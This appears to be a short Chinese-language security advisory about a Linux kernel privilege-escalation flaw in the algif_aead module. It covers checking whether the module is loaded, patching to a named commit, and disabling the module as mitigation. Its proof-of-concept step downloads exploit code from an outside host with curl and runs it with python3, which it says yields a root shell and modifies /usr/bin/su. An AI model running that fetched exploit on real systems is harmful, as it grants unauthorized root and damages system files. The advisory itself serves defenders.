检查模块是否加载#

1
lsmod | grep algif_aead

若有输出，说明接口已暴露，系统可能受影响。

验证POC#

1
curl https://copy.fail/exp > algif_aead_poc
2
python3 algif_aead_poc

成功则立即获得root shell。

警告：此操作具有破坏性，会修改/usr/bin/su，请提前备份，仅应在测试环境中进行。

立即更新#

首选方案：将内核更新至包含commit a664bf3d603d 的版本。

• Ubuntu/Debian：关注官方安全公告，尽快安装linux-image相关更新。
• RHEL/CentOS/Rocky/Alma：关注Red Hat及衍生版的安全更新。
• Amazon Linux：密切关注AWS安全公告。

临时缓解措施#

若业务无法立即重启升级内核，可临时禁用algif_aead内核模块阻止漏洞利用：

1
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
2
rmmod algif_aead 2>/dev/null

注意：此操作会禁用用户态AEAD加解密接口，可能影响依赖该接口的应用程序。